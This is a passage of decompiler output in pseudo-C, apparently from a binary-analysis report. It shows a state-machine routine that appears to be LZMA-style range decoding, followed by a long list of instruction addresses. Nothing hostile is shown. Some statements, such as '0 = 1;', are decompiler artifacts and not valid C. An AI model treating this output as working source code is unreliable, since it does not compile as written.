                                                                                                        											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											_t484 = __ebp - 0x70;
                                                                                                        											 *_t484 =  *(__ebp - 0x70) + 1;
                                                                                                        											__eflags =  *_t484;
                                                                                                        											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											L148:
                                                                                                        											_t487 = __ebp - 0x48;
                                                                                                        											 *_t487 =  *(__ebp - 0x48) - 1;
                                                                                                        											__eflags =  *_t487;
                                                                                                        											L149:
                                                                                                        											__eflags =  *(__ebp - 0x48);
                                                                                                        											if( *(__ebp - 0x48) <= 0) {
                                                                                                        												__ecx =  *(__ebp - 0x40);
                                                                                                        												__ebx =  *(__ebp - 0x50);
                                                                                                        												0 = 1;
                                                                                                        												__eax = 1 << __cl;
                                                                                                        												__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                                                                                        												__eax =  *(__ebp - 0x7c);
                                                                                                        												 *(__ebp - 0x44) = __ebx;
                                                                                                        												while(1) {
                                                                                                        													 *(_t613 - 0x88) = _t533;
                                                                                                        													goto L1;
                                                                                                        												}
                                                                                                        											}
                                                                                                        											__eax =  *(__ebp - 0x50);
                                                                                                        											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                                        											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                                        											__eax =  *(__ebp - 0x58);
                                                                                                        											__esi = __edx + __eax;
                                                                                                        											 *(__ebp - 0x54) = __esi;
                                                                                                        											__ax =  *__esi;
                                                                                                        											__edi = __ax & 0x0000ffff;
                                                                                                        											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                                        											__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                                        											if( *(__ebp - 0xc) >= __ecx) {
                                                                                                        												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        												__cx = __ax;
                                                                                                        												__cx = __ax >> 5;
                                                                                                        												__eax = __eax - __ecx;
                                                                                                        												__edx = __edx + 1;
                                                                                                        												__eflags = __edx;
                                                                                                        												 *__esi = __ax;
                                                                                                        												 *(__ebp - 0x50) = __edx;
                                                                                                        											} else {
                                                                                                        												 *(__ebp - 0x10) = __ecx;
                                                                                                        												0x800 = 0x800 - __edi;
                                                                                                        												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                                        												 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                                                                        												 *__esi = __cx;
                                                                                                        											}
                                                                                                        											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        											if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        												goto L148;
                                                                                                        											} else {
                                                                                                        												goto L146;
                                                                                                        											}
                                                                                                        										case 0x19:
                                                                                                        											__eflags = __ebx - 4;
                                                                                                        											if(__ebx < 4) {
                                                                                                        												 *(__ebp - 0x2c) = __ebx;
                                                                                                        												L119:
                                                                                                        												_t393 = __ebp - 0x2c;
                                                                                                        												 *_t393 =  *(__ebp - 0x2c) + 1;
                                                                                                        												__eflags =  *_t393;
                                                                                                        												L120:
                                                                                                        												__eax =  *(__ebp - 0x2c);
                                                                                                        												__eflags = __eax;
                                                                                                        												if(__eax == 0) {
                                                                                                        													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												__eflags = __eax -  *(__ebp - 0x60);
                                                                                                        												if(__eax >  *(__ebp - 0x60)) {
                                                                                                        													goto L171;
                                                                                                        												}
                                                                                                        												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                                                                                        												__eax =  *(__ebp - 0x30);
                                                                                                        												_t400 = __ebp - 0x60;
                                                                                                        												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                                                                                        												__eflags =  *_t400;
                                                                                                        												goto L123;
                                                                                                        											}
                                                                                                        											__ecx = __ebx;
                                                                                                        											__eax = __ebx;
                                                                                                        											__ecx = __ebx >> 1;
                                                                                                        											__eax = __ebx & 0x00000001;
                                                                                                        											__ecx = (__ebx >> 1) - 1;
                                                                                                        											__al = __al | 0x00000002;
                                                                                                        											__eax = (__ebx & 0x00000001) << __cl;
                                                                                                        											__eflags = __ebx - 0xe;
                                                                                                        											 *(__ebp - 0x2c) = __eax;
                                                                                                        											if(__ebx >= 0xe) {
                                                                                                        												__ebx = 0;
                                                                                                        												 *(__ebp - 0x48) = __ecx;
                                                                                                        												L102:
                                                                                                        												__eflags =  *(__ebp - 0x48);
                                                                                                        												if( *(__ebp - 0x48) <= 0) {
                                                                                                        													__eax = __eax + __ebx;
                                                                                                        													 *(__ebp - 0x40) = 4;
                                                                                                        													 *(__ebp - 0x2c) = __eax;
                                                                                                        													__eax =  *(__ebp - 4);
                                                                                                        													__eax =  *(__ebp - 4) + 0x644;
                                                                                                        													__eflags = __eax;
                                                                                                        													L108:
                                                                                                        													__ebx = 0;
                                                                                                        													 *(__ebp - 0x58) = __eax;
                                                                                                        													 *(__ebp - 0x50) = 1;
                                                                                                        													 *(__ebp - 0x44) = 0;
                                                                                                        													 *(__ebp - 0x48) = 0;
                                                                                                        													L112:
                                                                                                        													__eax =  *(__ebp - 0x40);
                                                                                                        													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                                        													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                                                                                        														_t391 = __ebp - 0x2c;
                                                                                                        														 *_t391 =  *(__ebp - 0x2c) + __ebx;
                                                                                                        														__eflags =  *_t391;
                                                                                                        														goto L119;
                                                                                                        													}
                                                                                                        													__eax =  *(__ebp - 0x50);
                                                                                                        													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                                        													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                                        													__eax =  *(__ebp - 0x58);
                                                                                                        													__esi = __edi + __eax;
                                                                                                        													 *(__ebp - 0x54) = __esi;
                                                                                                        													__ax =  *__esi;
                                                                                                        													__ecx = __ax & 0x0000ffff;
                                                                                                        													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                                                                                        													__eflags =  *(__ebp - 0xc) - __edx;
                                                                                                        													if( *(__ebp - 0xc) >= __edx) {
                                                                                                        														__ecx = 0;
                                                                                                        														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                                                                                        														__ecx = 1;
                                                                                                        														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                                                                                        														__ebx = 1;
                                                                                                        														__ecx =  *(__ebp - 0x48);
                                                                                                        														__ebx = 1 << __cl;
                                                                                                        														__ecx = 1 << __cl;
                                                                                                        														__ebx =  *(__ebp - 0x44);
                                                                                                        														__ebx =  *(__ebp - 0x44) | __ecx;
                                                                                                        														__cx = __ax;
                                                                                                        														__cx = __ax >> 5;
                                                                                                        														__eax = __eax - __ecx;
                                                                                                        														__edi = __edi + 1;
                                                                                                        														__eflags = __edi;
                                                                                                        														 *(__ebp - 0x44) = __ebx;
                                                                                                        														 *__esi = __ax;
                                                                                                        														 *(__ebp - 0x50) = __edi;
                                                                                                        													} else {
                                                                                                        														 *(__ebp - 0x10) = __edx;
                                                                                                        														0x800 = 0x800 - __ecx;
                                                                                                        														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                                                                                        														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                                                                        														 *__esi = __dx;
                                                                                                        													}
                                                                                                        													__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        													if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        														L111:
                                                                                                        														_t368 = __ebp - 0x48;
                                                                                                        														 *_t368 =  *(__ebp - 0x48) + 1;
                                                                                                        														__eflags =  *_t368;
                                                                                                        														goto L112;
                                                                                                        													} else {
                                                                                                        														goto L109;
                                                                                                        													}
                                                                                                        												}
                                                                                                        												__ecx =  *(__ebp - 0xc);
                                                                                                        												__ebx = __ebx + __ebx;
                                                                                                        												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                                                                                        												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                                                                        												 *(__ebp - 0x44) = __ebx;
                                                                                                        												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                                                                                        													__ecx =  *(__ebp - 0x10);
                                                                                                        													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                                                                        													__ebx = __ebx | 0x00000001;
                                                                                                        													__eflags = __ebx;
                                                                                                        													 *(__ebp - 0x44) = __ebx;
                                                                                                        												}
                                                                                                        												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                                        												if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        													L101:
                                                                                                        													_t338 = __ebp - 0x48;
                                                                                                        													 *_t338 =  *(__ebp - 0x48) - 1;
                                                                                                        													__eflags =  *_t338;
                                                                                                        													goto L102;
                                                                                                        												} else {
                                                                                                        													goto L99;
                                                                                                        												}
                                                                                                        											}
                                                                                                        											__edx =  *(__ebp - 4);
                                                                                                        											__eax = __eax - __ebx;
                                                                                                        											 *(__ebp - 0x40) = __ecx;
                                                                                                        											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                                                                                        											goto L108;
                                                                                                        										case 0x1a:
                                                                                                        											L56:
                                                                                                        											__eflags =  *(__ebp - 0x64);
                                                                                                        											if( *(__ebp - 0x64) == 0) {
                                                                                                        												 *(__ebp - 0x88) = 0x1a;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											__ecx =  *(__ebp - 0x68);
                                                                                                        											__al =  *(__ebp - 0x5c);
                                                                                                        											__edx =  *(__ebp - 8);
                                                                                                        											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                                                                        											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                                        											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                                                                        											 *( *(__ebp - 0x68)) = __al;
                                                                                                        											__ecx =  *(__ebp - 0x14);
                                                                                                        											 *(__ecx +  *(__ebp - 8)) = __al;
                                                                                                        											__eax = __ecx + 1;
                                                                                                        											__edx = 0;
                                                                                                        											_t192 = __eax %  *(__ebp - 0x74);
                                                                                                        											__eax = __eax /  *(__ebp - 0x74);
                                                                                                        											__edx = _t192;
                                                                                                        											goto L79;
                                                                                                        										case 0x1b:
                                                                                                        											L75:
                                                                                                        											__eflags =  *(__ebp - 0x64);
                                                                                                        											if( *(__ebp - 0x64) == 0) {
                                                                                                        												 *(__ebp - 0x88) = 0x1b;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											__eax =  *(__ebp - 0x14);
                                                                                                        											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                                        											__eflags = __eax -  *(__ebp - 0x74);
                                                                                                        											if(__eax >=  *(__ebp - 0x74)) {
                                                                                                        												__eax = __eax +  *(__ebp - 0x74);
                                                                                                        												__eflags = __eax;
                                                                                                        											}
                                                                                                        											__edx =  *(__ebp - 8);
                                                                                                        											__cl =  *(__eax + __edx);
                                                                                                        											__eax =  *(__ebp - 0x14);
                                                                                                        											 *(__ebp - 0x5c) = __cl;
                                                                                                        											 *(__eax + __edx) = __cl;
                                                                                                        											__eax = __eax + 1;
                                                                                                        											__edx = 0;
                                                                                                        											_t274 = __eax %  *(__ebp - 0x74);
                                                                                                        											__eax = __eax /  *(__ebp - 0x74);
                                                                                                        											__edx = _t274;
                                                                                                        											__eax =  *(__ebp - 0x68);
                                                                                                        											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                                                                        											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                                        											_t283 = __ebp - 0x64;
                                                                                                        											 *_t283 =  *(__ebp - 0x64) - 1;
                                                                                                        											__eflags =  *_t283;
                                                                                                        											 *( *(__ebp - 0x68)) = __cl;
                                                                                                        											L79:
                                                                                                        											 *(__ebp - 0x14) = __edx;
                                                                                                        											goto L80;
                                                                                                        										case 0x1c:
                                                                                                        											while(1) {
                                                                                                        												L123:
                                                                                                        												__eflags =  *(__ebp - 0x64);
                                                                                                        												if( *(__ebp - 0x64) == 0) {
                                                                                                        													break;
                                                                                                        												}
                                                                                                        												__eax =  *(__ebp - 0x14);
                                                                                                        												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                                        												__eflags = __eax -  *(__ebp - 0x74);
                                                                                                        												if(__eax >=  *(__ebp - 0x74)) {
                                                                                                        													__eax = __eax +  *(__ebp - 0x74);
                                                                                                        													__eflags = __eax;
                                                                                                        												}
                                                                                                        												__edx =  *(__ebp - 8);
                                                                                                        												__cl =  *(__eax + __edx);
                                                                                                        												__eax =  *(__ebp - 0x14);
                                                                                                        												 *(__ebp - 0x5c) = __cl;
                                                                                                        												 *(__eax + __edx) = __cl;
                                                                                                        												__eax = __eax + 1;
                                                                                                        												__edx = 0;
                                                                                                        												_t414 = __eax %  *(__ebp - 0x74);
                                                                                                        												__eax = __eax /  *(__ebp - 0x74);
                                                                                                        												__edx = _t414;
                                                                                                        												__eax =  *(__ebp - 0x68);
                                                                                                        												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                                        												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                                                                        												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                                                                                        												__eflags =  *(__ebp - 0x30);
                                                                                                        												 *( *(__ebp - 0x68)) = __cl;
                                                                                                        												 *(__ebp - 0x14) = _t414;
                                                                                                        												if( *(__ebp - 0x30) > 0) {
                                                                                                        													continue;
                                                                                                        												} else {
                                                                                                        													L80:
                                                                                                        													 *(__ebp - 0x88) = 2;
                                                                                                        													goto L1;
                                                                                                        												}
                                                                                                        											}
                                                                                                        											 *(__ebp - 0x88) = 0x1c;
                                                                                                        											goto L170;
                                                                                                        									}
                                                                                                        								}
                                                                                                        								L171:
                                                                                                        								_t535 = _t534 | 0xffffffff;
                                                                                                        								goto L172;
                                                                                                        							}
                                                                                                        						}
                                                                                                        					}
                                                                                                        				}
                                                                                                        			}













                                                                                                        0x00000000
                                                                                                        0x0040643a
                                                                                                        0x0040643a
                                                                                                        0x0040643e
                                                                                                        0x00406467
                                                                                                        0x00406471
                                                                                                        0x00406440
                                                                                                        0x00406449
                                                                                                        0x00406456
                                                                                                        0x00406459
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x004067a0
                                                                                                        0x004067a0
                                                                                                        0x004067a0
                                                                                                        0x004067a6
                                                                                                        0x004067ac
                                                                                                        0x004067b2
                                                                                                        0x004067cc
                                                                                                        0x004067cf
                                                                                                        0x004067d5
                                                                                                        0x004067e0
                                                                                                        0x004067e2
                                                                                                        0x004067b4
                                                                                                        0x004067b4
                                                                                                        0x004067c3
                                                                                                        0x004067c7
                                                                                                        0x004067c7
                                                                                                        0x004067ec
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004067ee
                                                                                                        0x004067f2
                                                                                                        0x004069a1
                                                                                                        0x004069b7
                                                                                                        0x004069bf
                                                                                                        0x004069c6
                                                                                                        0x004069c8
                                                                                                        0x004069cf
                                                                                                        0x004069d3
                                                                                                        0x004069d3
                                                                                                        0x004067fe
                                                                                                        0x00406805
                                                                                                        0x0040680d
                                                                                                        0x00406810
                                                                                                        0x00406813
                                                                                                        0x00406813
                                                                                                        0x00406819
                                                                                                        0x00406819
                                                                                                        0x00405fb5
                                                                                                        0x00405fb5
                                                                                                        0x00405fb5
                                                                                                        0x00405fbe
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fc4
                                                                                                        0x00000000
                                                                                                        0x00405fcf
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fd8
                                                                                                        0x00405fdb
                                                                                                        0x00405fde
                                                                                                        0x00405fe2
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fe8
                                                                                                        0x00405feb
                                                                                                        0x00405fed
                                                                                                        0x00405fee
                                                                                                        0x00405ff1
                                                                                                        0x00405ff3
                                                                                                        0x00405ff4
                                                                                                        0x00405ff6
                                                                                                        0x00405ff9
                                                                                                        0x00405ffe
                                                                                                        0x00406003
                                                                                                        0x0040600c
                                                                                                        0x0040601f
                                                                                                        0x00406022
                                                                                                        0x0040602e
                                                                                                        0x00406056
                                                                                                        0x00406058
                                                                                                        0x00406066
                                                                                                        0x00406066
                                                                                                        0x0040606a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040605a
                                                                                                        0x0040605a
                                                                                                        0x0040605d
                                                                                                        0x0040605e
                                                                                                        0x0040605e
                                                                                                        0x00000000
                                                                                                        0x0040605a
                                                                                                        0x00406034
                                                                                                        0x00406039
                                                                                                        0x00406039
                                                                                                        0x00406042
                                                                                                        0x0040604a
                                                                                                        0x0040604d
                                                                                                        0x00000000
                                                                                                        0x00406053
                                                                                                        0x00406053
                                                                                                        0x00000000
                                                                                                        0x00406053
                                                                                                        0x00000000
                                                                                                        0x00406070
                                                                                                        0x00406070
                                                                                                        0x00406074
                                                                                                        0x00406920
                                                                                                        0x00000000
                                                                                                        0x00406920
                                                                                                        0x0040607d
                                                                                                        0x0040608d
                                                                                                        0x00406090
                                                                                                        0x00406093
                                                                                                        0x00406093
                                                                                                        0x00406093
                                                                                                        0x00406096
                                                                                                        0x0040609a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040609c
                                                                                                        0x004060a2
                                                                                                        0x004060cc
                                                                                                        0x004060d2
                                                                                                        0x004060d9
                                                                                                        0x00000000
                                                                                                        0x004060d9
                                                                                                        0x004060a8
                                                                                                        0x004060ab
                                                                                                        0x004060b0
                                                                                                        0x004060b0
                                                                                                        0x004060bb
                                                                                                        0x004060c3
                                                                                                        0x004060c6
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040610b
                                                                                                        0x00406111
                                                                                                        0x00406114
                                                                                                        0x00406121
                                                                                                        0x00406129
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004060e0
                                                                                                        0x004060e0
                                                                                                        0x004060e4
                                                                                                        0x0040692f
                                                                                                        0x00000000
                                                                                                        0x0040692f
                                                                                                        0x004060f0
                                                                                                        0x004060fb
                                                                                                        0x004060fb
                                                                                                        0x004060fb
                                                                                                        0x004060fe
                                                                                                        0x00406101
                                                                                                        0x00406104
                                                                                                        0x00406109
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004067a0
                                                                                                        0x004067a0
                                                                                                        0x004067a6
                                                                                                        0x004067ac
                                                                                                        0x004067b2
                                                                                                        0x004067cc
                                                                                                        0x004067cf
                                                                                                        0x004067d5
                                                                                                        0x004067e0
                                                                                                        0x004067e2
                                                                                                        0x004067b4
                                                                                                        0x004067b4
                                                                                                        0x004067c3
                                                                                                        0x004067c7
                                                                                                        0x004067c7
                                                                                                        0x004067ec
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406131
                                                                                                        0x00406133
                                                                                                        0x00406136
                                                                                                        0x004061a7
                                                                                                        0x004061aa
                                                                                                        0x004061ad
                                                                                                        0x004061b4
                                                                                                        0x004061be
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x00406138
                                                                                                        0x0040613c
                                                                                                        0x0040613f
                                                                                                        0x00406141
                                                                                                        0x00406144
                                                                                                        0x00406147
                                                                                                        0x00406149
                                                                                                        0x0040614c
                                                                                                        0x0040614e
                                                                                                        0x00406153
                                                                                                        0x00406156
                                                                                                        0x00406159
                                                                                                        0x0040615d
                                                                                                        0x00406164
                                                                                                        0x00406167
                                                                                                        0x0040616e
                                                                                                        0x00406172
                                                                                                        0x0040617a
                                                                                                        0x0040617a
                                                                                                        0x0040617a
                                                                                                        0x00406174
                                                                                                        0x00406174
                                                                                                        0x00406174
                                                                                                        0x00406169
                                                                                                        0x00406169
                                                                                                        0x00406169
                                                                                                        0x0040617e
                                                                                                        0x00406181
                                                                                                        0x0040619f
                                                                                                        0x004061a1
                                                                                                        0x00000000
                                                                                                        0x00406183
                                                                                                        0x00406183
                                                                                                        0x00406186
                                                                                                        0x00406189
                                                                                                        0x0040618c
                                                                                                        0x0040618e
                                                                                                        0x0040618e
                                                                                                        0x0040618e
                                                                                                        0x00406191
                                                                                                        0x00406194
                                                                                                        0x00406196
                                                                                                        0x00406197
                                                                                                        0x0040619a
                                                                                                        0x00000000
                                                                                                        0x0040619a
                                                                                                        0x00000000
                                                                                                        0x004063d0
                                                                                                        0x004063d4
                                                                                                        0x004063f2
                                                                                                        0x004063f5
                                                                                                        0x004063fc
                                                                                                        0x004063ff
                                                                                                        0x00406402
                                                                                                        0x00406405
                                                                                                        0x00406408
                                                                                                        0x0040640b
                                                                                                        0x0040640d
                                                                                                        0x00406414
                                                                                                        0x00406415
                                                                                                        0x00406417
                                                                                                        0x0040641a
                                                                                                        0x0040641d
                                                                                                        0x00406420
                                                                                                        0x00406420
                                                                                                        0x00406425
                                                                                                        0x00000000
                                                                                                        0x00406425
                                                                                                        0x004063d6
                                                                                                        0x004063d9
                                                                                                        0x004063dc
                                                                                                        0x004063e6
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040647d
                                                                                                        0x00406481
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406487
                                                                                                        0x0040648b
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406491
                                                                                                        0x00406493
                                                                                                        0x00406497
                                                                                                        0x00406497
                                                                                                        0x0040649a
                                                                                                        0x0040649e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004064ee
                                                                                                        0x004064f2
                                                                                                        0x004064f9
                                                                                                        0x004064fc
                                                                                                        0x004064ff
                                                                                                        0x00406509
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x004064f4
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406515
                                                                                                        0x00406519
                                                                                                        0x00406520
                                                                                                        0x00406523
                                                                                                        0x00406526
                                                                                                        0x0040651b
                                                                                                        0x0040651b
                                                                                                        0x0040651b
                                                                                                        0x00406529
                                                                                                        0x0040652c
                                                                                                        0x0040652f
                                                                                                        0x0040652f
                                                                                                        0x00406532
                                                                                                        0x00406535
                                                                                                        0x00406538
                                                                                                        0x00406538
                                                                                                        0x0040653b
                                                                                                        0x00406542
                                                                                                        0x00406547
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004065d5
                                                                                                        0x004065d5
                                                                                                        0x004065d9
                                                                                                        0x00406977
                                                                                                        0x00000000
                                                                                                        0x00406977
                                                                                                        0x004065df
                                                                                                        0x004065e2
                                                                                                        0x004065e5
                                                                                                        0x004065e9
                                                                                                        0x004065ec
                                                                                                        0x004065f2
                                                                                                        0x004065f4
                                                                                                        0x004065f4
                                                                                                        0x004065f4
                                                                                                        0x004065f7
                                                                                                        0x004065fa
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004061ca
                                                                                                        0x004061ca
                                                                                                        0x004061ce
                                                                                                        0x0040693b
                                                                                                        0x00000000
                                                                                                        0x0040693b
                                                                                                        0x004061d4
                                                                                                        0x004061d7
                                                                                                        0x004061da
                                                                                                        0x004061de
                                                                                                        0x004061e1
                                                                                                        0x004061e7
                                                                                                        0x004061e9
                                                                                                        0x004061e9
                                                                                                        0x004061e9
                                                                                                        0x004061ec
                                                                                                        0x004061ef
                                                                                                        0x004061ef
                                                                                                        0x004061f2
                                                                                                        0x004061f5
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004061fb
                                                                                                        0x00406201
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406207
                                                                                                        0x00406207
                                                                                                        0x0040620b
                                                                                                        0x0040620e
                                                                                                        0x00406211
                                                                                                        0x00406214
                                                                                                        0x00406217
                                                                                                        0x00406218
                                                                                                        0x0040621b
                                                                                                        0x0040621d
                                                                                                        0x00406223
                                                                                                        0x00406226
                                                                                                        0x00406229
                                                                                                        0x0040622c
                                                                                                        0x0040622f
                                                                                                        0x00406232
                                                                                                        0x00406235
                                                                                                        0x00406251
                                                                                                        0x00406254
                                                                                                        0x00406257
                                                                                                        0x0040625a
                                                                                                        0x00406261
                                                                                                        0x00406265
                                                                                                        0x00406267
                                                                                                        0x0040626b
                                                                                                        0x00406237
                                                                                                        0x00406237
                                                                                                        0x0040623b
                                                                                                        0x00406243
                                                                                                        0x00406248
                                                                                                        0x0040624a
                                                                                                        0x0040624c
                                                                                                        0x0040624c
                                                                                                        0x0040626e
                                                                                                        0x00406275
                                                                                                        0x00406278
                                                                                                        0x00000000
                                                                                                        0x0040627e
                                                                                                        0x00000000
                                                                                                        0x0040627e
                                                                                                        0x00000000
                                                                                                        0x00406283
                                                                                                        0x00406283
                                                                                                        0x00406287
                                                                                                        0x00406947
                                                                                                        0x00000000
                                                                                                        0x00406947
                                                                                                        0x0040628d
                                                                                                        0x00406290
                                                                                                        0x00406293
                                                                                                        0x00406297
                                                                                                        0x0040629a
                                                                                                        0x004062a0
                                                                                                        0x004062a2
                                                                                                        0x004062a2
                                                                                                        0x004062a2
                                                                                                        0x004062a5
                                                                                                        0x004062a8
                                                                                                        0x004062a8
                                                                                                        0x004062a8
                                                                                                        0x004062ae
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004062b0
                                                                                                        0x004062b3
                                                                                                        0x004062b6
                                                                                                        0x004062b9
                                                                                                        0x004062bc
                                                                                                        0x004062bf
                                                                                                        0x004062c2
                                                                                                        0x004062c5
                                                                                                        0x004062c8
                                                                                                        0x004062cb
                                                                                                        0x004062ce
                                                                                                        0x004062e6
                                                                                                        0x004062e9
                                                                                                        0x004062ec
                                                                                                        0x004062ef
                                                                                                        0x004062ef
                                                                                                        0x004062f2
                                                                                                        0x004062f6
                                                                                                        0x004062f8
                                                                                                        0x004062d0
                                                                                                        0x004062d0
                                                                                                        0x004062d8
                                                                                                        0x004062dd
                                                                                                        0x004062df
                                                                                                        0x004062e1
                                                                                                        0x004062e1
                                                                                                        0x004062fb
                                                                                                        0x00406302
                                                                                                        0x00406305
                                                                                                        0x00000000
                                                                                                        0x00406307
                                                                                                        0x00000000
                                                                                                        0x00406307
                                                                                                        0x00406305
                                                                                                        0x0040630c
                                                                                                        0x0040630c
                                                                                                        0x0040630c
                                                                                                        0x0040630c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406347
                                                                                                        0x00406347
                                                                                                        0x0040634b
                                                                                                        0x00406953
                                                                                                        0x00000000
                                                                                                        0x00406953
                                                                                                        0x00406351
                                                                                                        0x00406354
                                                                                                        0x00406357
                                                                                                        0x0040635b
                                                                                                        0x0040635e
                                                                                                        0x00406364
                                                                                                        0x00406366
                                                                                                        0x00406366
                                                                                                        0x00406366
                                                                                                        0x00406369
                                                                                                        0x0040636c
                                                                                                        0x0040636c
                                                                                                        0x00406372
                                                                                                        0x00406310
                                                                                                        0x00406310
                                                                                                        0x00406313
                                                                                                        0x00000000
                                                                                                        0x00406313
                                                                                                        0x00406374
                                                                                                        0x00406374
                                                                                                        0x00406377
                                                                                                        0x0040637a
                                                                                                        0x0040637d
                                                                                                        0x00406380
                                                                                                        0x00406383
                                                                                                        0x00406386
                                                                                                        0x00406389
                                                                                                        0x0040638c
                                                                                                        0x0040638f
                                                                                                        0x00406392
                                                                                                        0x004063aa
                                                                                                        0x004063ad
                                                                                                        0x004063b0
                                                                                                        0x004063b3
                                                                                                        0x004063b3
                                                                                                        0x004063b6
                                                                                                        0x004063ba
                                                                                                        0x004063bc
                                                                                                        0x00406394
                                                                                                        0x00406394
                                                                                                        0x0040639c
                                                                                                        0x004063a1
                                                                                                        0x004063a3
                                                                                                        0x004063a5
                                                                                                        0x004063a5
                                                                                                        0x004063bf
                                                                                                        0x004063c6
                                                                                                        0x004063c9
                                                                                                        0x00000000
                                                                                                        0x004063cb
                                                                                                        0x00000000
                                                                                                        0x004063cb
                                                                                                        0x00000000
                                                                                                        0x00406658
                                                                                                        0x00406658
                                                                                                        0x0040665c
                                                                                                        0x00406983
                                                                                                        0x00000000
                                                                                                        0x00406983
                                                                                                        0x00406662
                                                                                                        0x00406665
                                                                                                        0x00406668
                                                                                                        0x0040666c
                                                                                                        0x0040666f
                                                                                                        0x00406675
                                                                                                        0x00406677
                                                                                                        0x00406677
                                                                                                        0x00406677
                                                                                                        0x0040667a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406428
                                                                                                        0x00406428
                                                                                                        0x0040642b
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x00406767
                                                                                                        0x0040676b
